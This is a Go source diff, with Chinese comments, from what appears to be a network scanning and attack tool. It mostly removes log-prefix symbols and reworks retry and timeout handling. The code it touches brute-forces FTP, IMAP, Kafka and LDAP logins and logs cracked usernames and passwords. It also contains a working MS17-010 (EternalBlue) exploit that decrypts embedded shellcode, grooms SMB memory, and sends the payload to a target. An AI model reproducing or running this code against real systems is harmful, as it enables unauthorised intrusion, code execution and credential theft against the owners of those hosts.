// 检查是否已经成功
|
||||
select {
|
||||
case <-successChan:
|
||||
case <-ctx.Done():
|
||||
resultChan <- nil
|
||||
return
|
||||
default:
|
||||
@ -77,88 +85,95 @@ func FtpScan(info *Common.HostInfo) (tmperr error) {
|
||||
|
||||
// 重试循环
|
||||
for retryCount := 0; retryCount < maxRetries; retryCount++ {
|
||||
// 执行FTP连接
|
||||
done := make(chan struct {
|
||||
success bool
|
||||
err error
|
||||
})
|
||||
}, 1)
|
||||
|
||||
connCtx, connCancel := context.WithTimeout(ctx, time.Duration(Common.Timeout)*time.Second)
|
||||
|
||||
go func(user, pass string) {
|
||||
success, err := FtpConn(info, user, pass)
|
||||
done <- struct {
|
||||
select {
|
||||
case <-connCtx.Done():
|
||||
case done <- struct {
|
||||
success bool
|
||||
err error
|
||||
}{success, err}
|
||||
}{success, err}:
|
||||
}
|
||||
}(task.user, task.pass)
|
||||
|
||||
// 等待结果或超时
|
||||
var err error
|
||||
select {
|
||||
case <-ctx.Done():
|
||||
connCancel()
|
||||
resultChan <- nil
|
||||
return
|
||||
case result := <-done:
|
||||
err = result.err
|
||||
if result.success && err == nil {
|
||||
select {
|
||||
case successChan <- struct{}{}:
|
||||
successLog := fmt.Sprintf("[+] FTP %v:%v %v %v",
|
||||
info.Host, info.Ports, task.user, task.pass)
|
||||
Common.LogSuccess(successLog)
|
||||
default:
|
||||
}
|
||||
successLog := fmt.Sprintf("FTP %v:%v %v %v",
|
||||
info.Host, info.Ports, task.user, task.pass)
|
||||
Common.LogSuccess(successLog)
|
||||
time.Sleep(100 * time.Millisecond)
|
||||
cancel() // 取消所有操作
|
||||
resultChan <- nil
|
||||
return
|
||||
}
|
||||
case <-time.After(time.Duration(Common.Timeout) * time.Second):
|
||||
case <-connCtx.Done():
|
||||
err = fmt.Errorf("连接超时")
|
||||
}
|
||||
|
||||
// 处理错误情况
|
||||
connCancel()
|
||||
|
||||
if err != nil {
|
||||
errlog := fmt.Sprintf("[-] ftp %v:%v %v %v %v",
|
||||
select {
|
||||
case <-ctx.Done():
|
||||
resultChan <- nil
|
||||
return
|
||||
default:
|
||||
}
|
||||
|
||||
errlog := fmt.Sprintf("ftp %v:%v %v %v %v",
|
||||
info.Host, info.Ports, task.user, task.pass, err)
|
||||
Common.LogError(errlog)
|
||||
|
||||
// 对于登录失败的错误,直接继续下一个
|
||||
if strings.Contains(err.Error(), "Login incorrect") {
|
||||
break
|
||||
}
|
||||
|
||||
// 特别处理连接数过多的情况
|
||||
if strings.Contains(err.Error(), "too many connections") {
|
||||
time.Sleep(5 * time.Second)
|
||||
if retryCount < maxRetries-1 {
|
||||
continue // 继续重试
|
||||
continue
|
||||
}
|
||||
}
|
||||
|
||||
// 检查是否需要重试
|
||||
if retryErr := Common.CheckErrs(err); retryErr != nil {
|
||||
if retryCount == maxRetries-1 {
|
||||
continue // 继续下一个密码,而不是返回
|
||||
continue
|
||||
}
|
||||
continue // 继续重试
|
||||
continue
|
||||
}
|
||||
}
|
||||
break // 如果不需要重试,跳出重试循环
|
||||
break
|
||||
}
|
||||
}
|
||||
resultChan <- nil
|
||||
}()
|
||||
}
|
||||
|
||||
// 等待所有线程完成
|
||||
go func() {
|
||||
wg.Wait()
|
||||
close(resultChan)
|
||||
}()
|
||||
|
||||
// 检查结果
|
||||
for err := range resultChan {
|
||||
if err != nil {
|
||||
tmperr = err
|
||||
// 对于超时错误也继续执行
|
||||
if !strings.Contains(err.Error(), "扫描超时") {
|
||||
if retryErr := Common.CheckErrs(err); retryErr != nil {
|
||||
continue // 继续尝试,而不是返回
|
||||
continue
|
||||
}
|
||||
}
|
||||
}
|
||||
@ -189,7 +204,7 @@ func FtpConn(info *Common.HostInfo, user string, pass string) (flag bool, err er
|
||||
}
|
||||
|
||||
// 登录成功,获取目录信息
|
||||
result := fmt.Sprintf("[+] ftp %v:%v:%v %v", Host, Port, Username, Password)
|
||||
result := fmt.Sprintf("ftp %v:%v:%v %v", Host, Port, Username, Password)
|
||||
dirs, err := conn.List("")
|
||||
if err == nil && len(dirs) > 0 {
|
||||
// 最多显示前6个目录
|
||||
|
@ -27,30 +27,30 @@ func FindnetScan(info *Common.HostInfo) error {
|
||||
target := fmt.Sprintf("%s:%v", info.Host, 135)
|
||||
conn, err := Common.WrapperTcpWithTimeout("tcp", target, time.Duration(Common.Timeout)*time.Second)
|
||||
if err != nil {
|
||||
return fmt.Errorf("[-] 连接RPC端口失败: %v", err)
|
||||
return fmt.Errorf("连接RPC端口失败: %v", err)
|
||||
}
|
||||
defer conn.Close()
|
||||
|
||||
if err = conn.SetDeadline(time.Now().Add(time.Duration(Common.Timeout) * time.Second)); err != nil {
|
||||
return fmt.Errorf("[-] 设置超时失败: %v", err)
|
||||
return fmt.Errorf("设置超时失败: %v", err)
|
||||
}
|
||||
|
||||
if _, err = conn.Write(bufferV1); err != nil {
|
||||
return fmt.Errorf("[-] 发送RPC请求1失败: %v", err)
|
||||
return fmt.Errorf("发送RPC请求1失败: %v", err)
|
||||
}
|
||||
|
||||
reply := make([]byte, 4096)
|
||||
if _, err = conn.Read(reply); err != nil {
|
||||
return fmt.Errorf("[-] 读取RPC响应1失败: %v", err)
|
||||
return fmt.Errorf("读取RPC响应1失败: %v", err)
|
||||
}
|
||||
|
||||
if _, err = conn.Write(bufferV2); err != nil {
|
||||
return fmt.Errorf("[-] 发送RPC请求2失败: %v", err)
|
||||
return fmt.Errorf("发送RPC请求2失败: %v", err)
|
||||
}
|
||||
|
||||
n, err := conn.Read(reply)
|
||||
if err != nil || n < 42 {
|
||||
return fmt.Errorf("[-] 读取RPC响应2失败: %v", err)
|
||||
return fmt.Errorf("读取RPC响应2失败: %v", err)
|
||||
}
|
||||
|
||||
text := reply[42:]
|
||||
@ -64,7 +64,7 @@ func FindnetScan(info *Common.HostInfo) error {
|
||||
}
|
||||
|
||||
if !found {
|
||||
return fmt.Errorf("[-] 未找到有效的响应标记")
|
||||
return fmt.Errorf("未找到有效的响应标记")
|
||||
}
|
||||
|
||||
return read(text, info.Host)
|
||||
@ -195,7 +195,7 @@ func read(text []byte, host string) error {
|
||||
|
||||
// 输出IPv4地址
|
||||
if len(ipv4Addrs) > 0 {
|
||||
result += "\n [+] IPv4地址:"
|
||||
result += "\n IPv4地址:"
|
||||
for _, addr := range ipv4Addrs {
|
||||
result += fmt.Sprintf("\n └─ %s", addr)
|
||||
}
|
||||
@ -203,7 +203,7 @@ func read(text []byte, host string) error {
|
||||
|
||||
// 输出IPv6地址
|
||||
if len(ipv6Addrs) > 0 {
|
||||
result += "\n [+] IPv6地址:"
|
||||
result += "\n IPv6地址:"
|
||||
for _, addr := range ipv6Addrs {
|
||||
result += fmt.Sprintf("\n └─ %s", addr)
|
||||
}
|
||||
|
@ -84,7 +84,7 @@ func IMAPScan(info *Common.HostInfo) (tmperr error) {
|
||||
|
||||
// 处理错误情况
|
||||
if err != nil {
|
||||
errlog := fmt.Sprintf("[-] IMAP服务 %v:%v 尝试失败 用户名: %v 密码: %v 错误: %v",
|
||||
errlog := fmt.Sprintf("IMAP服务 %v:%v 尝试失败 用户名: %v 密码: %v 错误: %v",
|
||||
info.Host, info.Ports, task.user, task.pass, err)
|
||||
Common.LogError(errlog)
|
||||
|
||||
@ -175,7 +175,7 @@ func tryIMAPAuth(conn net.Conn, host string, port string, user string, pass stri
|
||||
}
|
||||
|
||||
if strings.Contains(response, "a001 OK") {
|
||||
result := fmt.Sprintf("[+] IMAP服务 %v:%v 爆破成功 用户名: %v 密码: %v",
|
||||
result := fmt.Sprintf("IMAP服务 %v:%v 爆破成功 用户名: %v 密码: %v",
|
||||
host, port, user, pass)
|
||||
Common.LogSuccess(result)
|
||||
return true, nil
|
||||
|
@ -99,7 +99,7 @@ func KafkaScan(info *Common.HostInfo) (tmperr error) {
|
||||
|
||||
// 处理错误情况
|
||||
if err != nil {
|
||||
errlog := fmt.Sprintf("[-] Kafka服务 %v:%v 尝试失败 用户名: %v 密码: %v 错误: %v",
|
||||
errlog := fmt.Sprintf("Kafka服务 %v:%v 尝试失败 用户名: %v 密码: %v 错误: %v",
|
||||
info.Host, info.Ports, task.user, task.pass, err)
|
||||
Common.LogError(errlog)
|
||||
|
||||
@ -164,7 +164,7 @@ func KafkaConn(info *Common.HostInfo, user string, pass string) (bool, error) {
|
||||
consumer, err := sarama.NewConsumer(brokers, config)
|
||||
if err == nil {
|
||||
defer consumer.Close()
|
||||
result := fmt.Sprintf("[+] Kafka服务 %v:%v ", host, port)
|
||||
result := fmt.Sprintf("Kafka服务 %v:%v ", host, port)
|
||||
if user != "" {
|
||||
result += fmt.Sprintf("爆破成功 用户名: %v 密码: %v", user, pass)
|
||||
} else {
|
||||
@ -178,7 +178,7 @@ func KafkaConn(info *Common.HostInfo, user string, pass string) (bool, error) {
|
||||
client, err := sarama.NewClient(brokers, config)
|
||||
if err == nil {
|
||||
defer client.Close()
|
||||
result := fmt.Sprintf("[+] Kafka服务 %v:%v ", host, port)
|
||||
result := fmt.Sprintf("Kafka服务 %v:%v ", host, port)
|
||||
if user != "" {
|
||||
result += fmt.Sprintf("爆破成功 用户名: %v 密码: %v", user, pass)
|
||||
} else {
|
||||
|
@ -90,7 +90,7 @@ func LDAPScan(info *Common.HostInfo) (tmperr error) {
|
||||
|
||||
// 处理错误情况
|
||||
if err != nil {
|
||||
errlog := fmt.Sprintf("[-] LDAP服务 %v:%v 尝试失败 用户名: %v 密码: %v 错误: %v",
|
||||
errlog := fmt.Sprintf("LDAP服务 %v:%v 尝试失败 用户名: %v 密码: %v 错误: %v",
|
||||
info.Host, info.Ports, task.user, task.pass, err)
|
||||
Common.LogError(errlog)
|
||||
|
||||
@ -177,7 +177,7 @@ func LDAPConn(info *Common.HostInfo, user string, pass string) (bool, error) {
|
||||
}
|
||||
|
||||
// 记录成功结果
|
||||
result := fmt.Sprintf("[+] LDAP服务 %v:%v ", host, port)
|
||||
result := fmt.Sprintf("LDAP服务 %v:%v ", host, port)
|
||||
if user != "" {
|
||||
result += fmt.Sprintf("爆破成功 用户名: %v 密码: %v", user, pass)
|
||||
} else {
|
||||
|
@ -26,7 +26,7 @@ func MS17010EXP(info *Common.HostInfo) {
|
||||
var err error
|
||||
sc, err = AesDecrypt(sc_enc, key)
|
||||
if err != nil {
|
||||
Common.LogError(fmt.Sprintf("[-] %s MS17-010 解密bind shellcode失败: %v", info.Host, err))
|
||||
Common.LogError(fmt.Sprintf("%s MS17-010 解密bind shellcode失败: %v", info.Host, err))
|
||||
return
|
||||
}
|
||||
|
||||
@ -40,7 +40,7 @@ func MS17010EXP(info *Common.HostInfo) {
|
||||
var err error
|
||||
sc, err = AesDecrypt(sc_enc, key)
|
||||
if err != nil {
|
||||
Common.LogError(fmt.Sprintf("[-] %s MS17-010 解密add shellcode失败: %v", info.Host, err))
|
||||
Common.LogError(fmt.Sprintf("%s MS17-010 解密add shellcode失败: %v", info.Host, err))
|
||||
return
|
||||
}
|
||||
|
||||
@ -50,7 +50,7 @@ func MS17010EXP(info *Common.HostInfo) {
|
||||
var err error
|
||||
sc, err = AesDecrypt(sc_enc, key)
|
||||
if err != nil {
|
||||
Common.LogError(fmt.Sprintf("[-] %s MS17-010 解密guest shellcode失败: %v", info.Host, err))
|
||||
Common.LogError(fmt.Sprintf("%s MS17-010 解密guest shellcode失败: %v", info.Host, err))
|
||||
return
|
||||
}
|
||||
|
||||
@ -59,7 +59,7 @@ func MS17010EXP(info *Common.HostInfo) {
|
||||
if strings.Contains(Common.Shellcode, "file:") {
|
||||
read, err := ioutil.ReadFile(Common.Shellcode[5:])
|
||||
if err != nil {
|
||||
Common.LogError(fmt.Sprintf("[-] MS17010读取Shellcode文件 %v 失败: %v", Common.Shellcode, err))
|
||||
Common.LogError(fmt.Sprintf("MS17010读取Shellcode文件 %v 失败: %v", Common.Shellcode, err))
|
||||
return
|
||||
}
|
||||
sc = fmt.Sprintf("%x", read)
|
||||
@ -70,25 +70,25 @@ func MS17010EXP(info *Common.HostInfo) {
|
||||
|
||||
// 验证shellcode有效性
|
||||
if len(sc) < 20 {
|
||||
fmt.Println("[-] 无效的Shellcode")
|
||||
fmt.Println("无效的Shellcode")
|
||||
return
|
||||
}
|
||||
|
||||
// 解码shellcode
|
||||
sc1, err := hex.DecodeString(sc)
|
||||
if err != nil {
|
||||
Common.LogError(fmt.Sprintf("[-] %s MS17-010 Shellcode解码失败: %v", info.Host, err))
|
||||
Common.LogError(fmt.Sprintf("%s MS17-010 Shellcode解码失败: %v", info.Host, err))
|
||||
return
|
||||
}
|
||||
|
||||
// 执行EternalBlue漏洞利用
|
||||
err = eternalBlue(address, 12, 12, sc1)
|
||||
if err != nil {
|
||||
Common.LogError(fmt.Sprintf("[-] %s MS17-010漏洞利用失败: %v", info.Host, err))
|
||||
Common.LogError(fmt.Sprintf("%s MS17-010漏洞利用失败: %v", info.Host, err))
|
||||
return
|
||||
}
|
||||
|
||||
Common.LogSuccess(fmt.Sprintf("[*] %s\tMS17-010\t漏洞利用完成", info.Host))
|
||||
Common.LogSuccess(fmt.Sprintf("%s\tMS17-010\t漏洞利用完成", info.Host))
|
||||
}
|
||||
|
||||
// eternalBlue 执行EternalBlue漏洞利用
|
||||
@ -97,7 +97,7 @@ func eternalBlue(address string, initialGrooms, maxAttempts int, sc []byte) erro
|
||||
const maxscSize = packetMaxLen - packetSetupLen - len(loader) - 2 // uint16长度
|
||||
scLen := len(sc)
|
||||
if scLen > maxscSize {
|
||||
return fmt.Errorf("[-] Shellcode大小超出限制: %d > %d (超出 %d 字节)",
|
||||
return fmt.Errorf("Shellcode大小超出限制: %d > %d (超出 %d 字节)",
|
||||
scLen, maxscSize, scLen-maxscSize)
|
||||
}
|
||||
|
||||
@ -124,42 +124,42 @@ func exploit(address string, grooms int, payload []byte) error {
|
||||
// 建立SMB1匿名IPC连接
|
||||
header, conn, err := smb1AnonymousConnectIPC(address)
|
||||
if err != nil {
|
||||
return fmt.Errorf("[-] 建立SMB连接失败: %v", err)
|
||||
return fmt.Errorf("建立SMB连接失败: %v", err)
|
||||
}
|
||||
defer func() { _ = conn.Close() }()
|
||||
|
||||
// 发送SMB1大缓冲区数据
|
||||
if err = conn.SetReadDeadline(time.Now().Add(10 * time.Second)); err != nil {
|
||||
return fmt.Errorf("[-] 设置读取超时失败: %v", err)
|
||||
return fmt.Errorf("设置读取超时失败: %v", err)
|
||||
}
|
||||
if err = smb1LargeBuffer(conn, header); err != nil {
|
||||
return fmt.Errorf("[-] 发送大缓冲区失败: %v", err)
|
||||
return fmt.Errorf("发送大缓冲区失败: %v", err)
|
||||
}
|
||||
|
||||
// 初始化内存喷射线程
|
||||
fhsConn, err := smb1FreeHole(address, true)
|
||||
if err != nil {
|
||||
return fmt.Errorf("[-] 初始化内存喷射失败: %v", err)
|
||||
return fmt.Errorf("初始化内存喷射失败: %v", err)
|
||||
}
|
||||
defer func() { _ = fhsConn.Close() }()
|
||||
|
||||
// 第一轮内存喷射
|
||||
groomConns, err := smb2Grooms(address, grooms)
|
||||
if err != nil {
|
||||
return fmt.Errorf("[-] 第一轮内存喷射失败: %v", err)
|
||||
return fmt.Errorf("第一轮内存喷射失败: %v", err)
|
||||
}
|
||||
|
||||
// 释放内存并执行第二轮喷射
|
||||
fhfConn, err := smb1FreeHole(address, false)
|
||||
if err != nil {
|
||||
return fmt.Errorf("[-] 释放内存失败: %v", err)
|
||||
return fmt.Errorf("释放内存失败: %v", err)
|
||||
}
|
||||
_ = fhsConn.Close()
|
||||
|
||||
// 执行第二轮内存喷射
|
||||
groomConns2, err := smb2Grooms(address, 6)
|
||||
if err != nil {
|
||||
return fmt.Errorf("[-] 第二轮内存喷射失败: %v", err)
|
||||
return fmt.Errorf("第二轮内存喷射失败: %v", err)
|
||||
}
|
||||
_ = fhfConn.Close()
|
||||
|
||||
@ -173,42 +173,42 @@ func exploit(address string, grooms int, payload []byte) error {
|
||||
|
||||
// 发送最终漏洞利用数据包
|
||||
if err = conn.SetReadDeadline(time.Now().Add(10 * time.Second)); err != nil {
|
||||
return fmt.Errorf("[-] 设置读取超时失败: %v", err)
|
||||
return fmt.Errorf("设置读取超时失败: %v", err)
|
||||
}
|
||||
|
||||
finalPacket := makeSMB1Trans2ExploitPacket(header.TreeID, header.UserID, 15, "exploit")
|
||||
if _, err = conn.Write(finalPacket); err != nil {
|
||||
return fmt.Errorf("[-] 发送漏洞利用数据包失败: %v", err)
|
||||
return fmt.Errorf("发送漏洞利用数据包失败: %v", err)
|
||||
}
|
||||
|
||||
// 获取响应并检查状态
|
||||
raw, _, err := smb1GetResponse(conn)
|
||||
if err != nil {
|
||||
return fmt.Errorf("[-] 获取漏洞利用响应失败: %v", err)
|
||||
return fmt.Errorf("获取漏洞利用响应失败: %v", err)
|
||||
}
|
||||
|
||||
// 提取NT状态码
|
||||
ntStatus := []byte{raw[8], raw[7], raw[6], raw[5]}
|
||||
Common.LogSuccess(fmt.Sprintf("[+] NT Status: 0x%08X", ntStatus))
|
||||
Common.LogSuccess(fmt.Sprintf("NT Status: 0x%08X", ntStatus))
|
||||
|
||||
// 发送payload
|
||||
Common.LogSuccess("[*] 开始发送Payload")
|
||||
Common.LogSuccess("开始发送Payload")
|
||||
body := makeSMB2Body(payload)
|
||||
|
||||
// 分段发送payload
|
||||
for _, conn := range groomConns {
|
||||
if _, err = conn.Write(body[:2920]); err != nil {
|
||||
return fmt.Errorf("[-] 发送Payload第一段失败: %v", err)
|
||||
return fmt.Errorf("发送Payload第一段失败: %v", err)
|
||||
}
|
||||
}
|
||||
|
||||
for _, conn := range groomConns {
|
||||
if _, err = conn.Write(body[2920:4073]); err != nil {
|
||||
return fmt.Errorf("[-] 发送Payload第二段失败: %v", err)
|
||||
return fmt.Errorf("发送Payload第二段失败: %v", err)
|
||||
}
|
||||
}
|
||||
|
||||
Common.LogSuccess("[+] Payload发送完成")
|
||||
Common.LogSuccess("Payload发送完成")
|
||||
return nil
|
||||
}
|
||||
|
||||
@ -236,7 +236,7 @@ func smb1AnonymousConnectIPC(address string) (*smbHeader, net.Conn, error) {
|
||||
// 建立TCP连接
|
||||
conn, err := net.DialTimeout("tcp", address, 10*time.Second)
|
||||
if err != nil {
|
||||
return nil, nil, fmt.Errorf("[-] 连接目标失败: %v", err)
|
||||
return nil, nil, fmt.Errorf("连接目标失败: %v", err)
|
||||
}
|
||||
|
||||
// 连接状态标记
|
||||
@ -249,24 +249,24 @@ func smb1AnonymousConnectIPC(address string) (*smbHeader, net.Conn, error) {
|
||||
|
||||
// SMB协议协商
|
||||
if err = smbClientNegotiate(conn); err != nil {
|
||||
return nil, nil, fmt.Errorf("[-] SMB协议协商失败: %v", err)
|
||||
return nil, nil, fmt.Errorf("SMB协议协商失败: %v", err)
|
||||
}
|
||||
|
||||
// 匿名登录
|
||||
raw, header, err := smb1AnonymousLogin(conn)
|
||||
if err != nil {
|
||||
return nil, nil, fmt.Errorf("[-] 匿名登录失败: %v", err)
|
||||
return nil, nil, fmt.Errorf("匿名登录失败: %v", err)
|
||||
}
|
||||
|
||||
// 获取系统版本信息
|
||||
if _, err = getOSName(raw); err != nil {
|
||||
return nil, nil, fmt.Errorf("[-] 获取系统信息失败: %v", err)
|
||||
return nil, nil, fmt.Errorf("获取系统信息失败: %v", err)
|
||||
}
|
||||
|
||||
// 连接IPC共享
|
||||
header, err = treeConnectAndX(conn, address, header.UserID)
|
||||
if err != nil {
|
||||
return nil, nil, fmt.Errorf("[-] 连接IPC共享失败: %v", err)
|
||||
return nil, nil, fmt.Errorf("连接IPC共享失败: %v", err)
|
||||
}
|
||||
|
||||
ok = true
|
||||
@ -299,13 +299,13 @@ func smb1GetResponse(conn net.Conn) ([]byte, *smbHeader, error) {
|
||||
// 读取NetBIOS会话服务头
|
||||
buf := make([]byte, 4)
|
||||
if _, err := io.ReadFull(conn, buf); err != nil {
|
||||
return nil, nil, fmt.Errorf("[-] 读取NetBIOS会话服务头失败: %v", err)
|
||||
return nil, nil, fmt.Errorf("读取NetBIOS会话服务头失败: %v", err)
|
||||
}
|
||||
|
||||
// 校验消息类型
|
||||
messageType := buf[0]
|
||||
if messageType != 0x00 {
|
||||
return nil, nil, fmt.Errorf("[-] 无效的消息类型: 0x%02X", messageType)
|
||||
return nil, nil, fmt.Errorf("无效的消息类型: 0x%02X", messageType)
|
||||
}
|
||||
|
||||
// 解析消息体大小
|
||||
@ -316,14 +316,14 @@ func smb1GetResponse(conn net.Conn) ([]byte, *smbHeader, error) {
|
||||
// 读取SMB消息体
|
||||
buf = make([]byte, messageSize)
|
||||
if _, err := io.ReadFull(conn, buf); err != nil {
|
||||
return nil, nil, fmt.Errorf("[-] 读取SMB消息体失败: %v", err)
|
||||
return nil, nil, fmt.Errorf("读取SMB消息体失败: %v", err)
|
||||
}
|
||||
|
||||
// 解析SMB头部
|
||||
header := smbHeader{}
|
||||
reader := bytes.NewReader(buf[:smbHeaderSize])
|
||||
if err := binary.Read(reader, binary.LittleEndian, &header); err != nil {
|
||||
return nil, nil, fmt.Errorf("[-] 解析SMB头部失败: %v", err)
|
||||
return nil, nil, fmt.Errorf("解析SMB头部失败: %v", err)
|
||||
}
|
||||
|
||||
return buf, &header, nil
|
||||
@ -335,27 +335,27 @@ func smbClientNegotiate(conn net.Conn) error {
|
||||
|
||||
// 构造NetBIOS会话服务头
|
||||
if err := writeNetBIOSHeader(&buf); err != nil {
|
||||
return fmt.Errorf("[-] 构造NetBIOS头失败: %v", err)
|
||||
return fmt.Errorf("构造NetBIOS头失败: %v", err)
|
||||
}
|
||||
|
||||
// 构造SMB协议头
|
||||
if err := writeSMBHeader(&buf); err != nil {
|
||||
return fmt.Errorf("[-] 构造SMB头失败: %v", err)
|
||||
return fmt.Errorf("构造SMB头失败: %v", err)
|
||||
}
|
||||
|
||||
// 构造协议协商请求
|
||||
if err := writeNegotiateRequest(&buf); err != nil {
|
||||
return fmt.Errorf("[-] 构造协议协商请求失败: %v", err)
|
||||
return fmt.Errorf("构造协议协商请求失败: %v", err)
|
||||
}
|
||||
|
||||
// 发送数据包
|
||||
if _, err := buf.WriteTo(conn); err != nil {
|
||||
return fmt.Errorf("[-] 发送协议协商数据包失败: %v", err)
|
||||
return fmt.Errorf("发送协议协商数据包失败: %v", err)
|
||||
}
|
||||
|
||||
// 获取响应
|
||||
if _, _, err := smb1GetResponse(conn); err != nil {
|
||||
return fmt.Errorf("[-] 获取协议协商响应失败: %v", err)
|
||||
return fmt.Errorf("获取协议协商响应失败: %v", err)
|
||||
}
|
||||
|
||||
return nil
|
||||
@ -428,22 +428,22 @@ func smb1AnonymousLogin(conn net.Conn) ([]byte, *smbHeader, error) {
|
||||
|
||||
// 构造NetBIOS会话服务头
|
||||
if err := writeNetBIOSLoginHeader(&buf); err != nil {
|
||||
return nil, nil, fmt.Errorf("[-] 构造NetBIOS头失败: %v", err)
|
||||
return nil, nil, fmt.Errorf("构造NetBIOS头失败: %v", err)
|
||||
}
|
||||
|
||||
// 构造SMB协议头
|
||||
if err := writeSMBLoginHeader(&buf); err != nil {
|
||||
return nil, nil, fmt.Errorf("[-] 构造SMB头失败: %v", err)
|
||||
return nil, nil, fmt.Errorf("构造SMB头失败: %v", err)
|
||||
}
|
||||
|
||||
// 构造会话设置请求
|
||||
if err := writeSessionSetupRequest(&buf); err != nil {
|
||||
return nil, nil, fmt.Errorf("[-] 构造会话设置请求失败: %v", err)
|
||||
return nil, nil, fmt.Errorf("构造会话设置请求失败: %v", err)
|
||||
}
|
||||
|
||||
// 发送数据包
|
||||
if _, err := buf.WriteTo(conn); err != nil {
|
||||
return nil, nil, fmt.Errorf("[-] 发送登录数据包失败: %v", err)
|
||||
return nil, nil, fmt.Errorf("发送登录数据包失败: %v", err)
|
||||
}
|
||||
|
||||
// 获取响应
|
||||
@ -560,7 +560,7 @@ func getOSName(raw []byte) (string, error) {
|
||||
char := make([]byte, 2)
|
||||
for {
|
||||
if _, err := io.ReadFull(reader, char); err != nil {
|
||||
return "", fmt.Errorf("[-] 读取操作系统名称失败: %v", err)
|
||||
return "", fmt.Errorf("读取操作系统名称失败: %v", err)
|
||||
}
|
||||
|
||||
// 遇到结束符(0x00 0x00)时退出
|
||||
@ -590,17 +590,17 @@ func treeConnectAndX(conn net.Conn, address string, userID uint16) (*smbHeader,
|
||||
|
||||
// 构造NetBIOS会话服务头
|
||||
if err := writeNetBIOSTreeHeader(&buf); err != nil {
|
||||
return nil, fmt.Errorf("[-] 构造NetBIOS头失败: %v", err)
|
||||
return nil, fmt.Errorf("构造NetBIOS头失败: %v", err)
|
||||
}
|
||||
|
||||
// 构造SMB协议头
|
||||
if err := writeSMBTreeHeader(&buf, userID); err != nil {
|
||||
return nil, fmt.Errorf("[-] 构造SMB头失败: %v", err)
|
||||
return nil, fmt.Errorf("构造SMB头失败: %v", err)
|
||||
}
|
||||
|
||||
// 构造树连接请求
|
||||
if err := writeTreeConnectRequest(&buf, address); err != nil {
|
||||
return nil, fmt.Errorf("[-] 构造树连接请求失败: %v", err)
|
||||
return nil, fmt.Errorf("构造树连接请求失败: %v", err)
|
||||
}
|
||||
|
||||
// 更新数据包大小
|
||||
@ -608,13 +608,13 @@ func treeConnectAndX(conn net.Conn, address string, userID uint16) (*smbHeader,
|
||||
|
||||
// 发送数据包
|
||||
if _, err := buf.WriteTo(conn); err != nil {
|
||||
return nil, fmt.Errorf("[-] 发送树连接请求失败: %v", err)
|
||||
return nil, fmt.Errorf("发送树连接请求失败: %v", err)
|
||||
}
|
||||
|
||||
// 获取响应
|
||||
_, header, err := smb1GetResponse(conn)
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("[-] 获取树连接响应失败: %v", err)
|
||||
return nil, fmt.Errorf("获取树连接响应失败: %v", err)
|
||||
}
|
||||
|
||||
return header, nil
|
||||
@ -682,7 +682,7 @@ func writeTreeConnectRequest(buf *bytes.Buffer, address string) error {
|
||||
// IPC路径
|
||||
host, _, err := net.SplitHostPort(address)
|
||||
if err != nil {
|
||||
return fmt.Errorf("[-] 解析地址失败: %v", err)
|
||||
return fmt.Errorf("解析地址失败: %v", err)
|
||||
}
|
||||
_, _ = fmt.Fprintf(buf, "\\\\%s\\IPC$", host)
|
||||
|
||||
@ -707,7 +707,7 @@ func smb1LargeBuffer(conn net.Conn, header *smbHeader) error {
|
||||
// 发送NT Trans请求获取事务头
|
||||
transHeader, err := sendNTTrans(conn, header.TreeID, header.UserID)
|
||||
if err != nil {
|
||||
return fmt.Errorf("[-] 发送NT Trans请求失败: %v", err)
|
||||
return fmt.Errorf("发送NT Trans请求失败: %v", err)
|
||||
}
|
||||
|
||||
treeID := transHeader.TreeID
|
||||
@ -732,12 +732,12 @@ func smb1LargeBuffer(conn net.Conn, header *smbHeader) error {
|
||||
|
||||
// 发送组合数据包
|
||||
if _, err := conn.Write(transPackets); err != nil {
|
||||
return fmt.Errorf("[-] 发送大缓冲区数据失败: %v", err)
|
||||
return fmt.Errorf("发送大缓冲区数据失败: %v", err)
|
||||
}
|
||||
|
||||
// 获取响应
|
||||
if _, _, err := smb1GetResponse(conn); err != nil {
|
||||
return fmt.Errorf("[-] 获取大缓冲区响应失败: %v", err)
|
||||
return fmt.Errorf("获取大缓冲区响应失败: %v", err)
|
||||
}
|
||||
|
||||
return nil
|
||||
@ -749,28 +749,28 @@ func sendNTTrans(conn net.Conn, treeID, userID uint16) (*smbHeader, error) {
|
||||
|
||||
// 构造NetBIOS会话服务头
|
||||
if err := writeNetBIOSNTTransHeader(&buf); err != nil {
|
||||
return nil, fmt.Errorf("[-] 构造NetBIOS头失败: %v", err)
|
||||
return nil, fmt.Errorf("构造NetBIOS头失败: %v", err)
|
||||
}
|
||||
|
||||
// 构造SMB协议头
|
||||
if err := writeSMBNTTransHeader(&buf, treeID, userID); err != nil {
|
||||
return nil, fmt.Errorf("[-] 构造SMB头失败: %v", err)
|
||||
return nil, fmt.Errorf("构造SMB头失败: %v", err)
|
||||
}
|
||||
|
||||
// 构造NT Trans请求
|
||||
if err := writeNTTransRequest(&buf); err != nil {
|
||||
return nil, fmt.Errorf("[-] 构造NT Trans请求失败: %v", err)
|
||||
return nil, fmt.Errorf("构造NT Trans请求失败: %v", err)
|
||||
}
|
||||
|
||||
// 发送数据包
|
||||
if _, err := buf.WriteTo(conn); err != nil {
|
||||
return nil, fmt.Errorf("[-] 发送NT Trans请求失败: %v", err)
|
||||
return nil, fmt.Errorf("发送NT Trans请求失败: %v", err)
|
||||
}
|
||||
|
||||
// 获取响应
|
||||
_, header, err := smb1GetResponse(conn)
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("[-] 获取NT Trans响应失败: %v", err)
|
||||
return nil, fmt.Errorf("获取NT Trans响应失败: %v", err)
|
||||
}
|
||||
|
||||
return header, nil
|
||||
@ -1099,7 +1099,7 @@ func smb1FreeHole(address string, start bool) (net.Conn, error) {
|
||||
// 建立TCP连接
|
||||
conn, err := net.DialTimeout("tcp", address, 10*time.Second)
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("[-] 连接目标失败: %v", err)
|
||||
return nil, fmt.Errorf("连接目标失败: %v", err)
|
||||
}
|
||||
|
||||
// 连接状态标记
|
||||
@ -1112,7 +1112,7 @@ func smb1FreeHole(address string, start bool) (net.Conn, error) {
|
||||
|
||||
// SMB协议协商
|
||||
if err = smbClientNegotiate(conn); err != nil {
|
||||
return nil, fmt.Errorf("[-] SMB协议协商失败: %v", err)
|
||||
return nil, fmt.Errorf("SMB协议协商失败: %v", err)
|
||||
}
|
||||
|
||||
// 根据开始/结束标志设置不同参数
|
||||
@ -1130,12 +1130,12 @@ func smb1FreeHole(address string, start bool) (net.Conn, error) {
|
||||
// 构造并发送会话数据包
|
||||
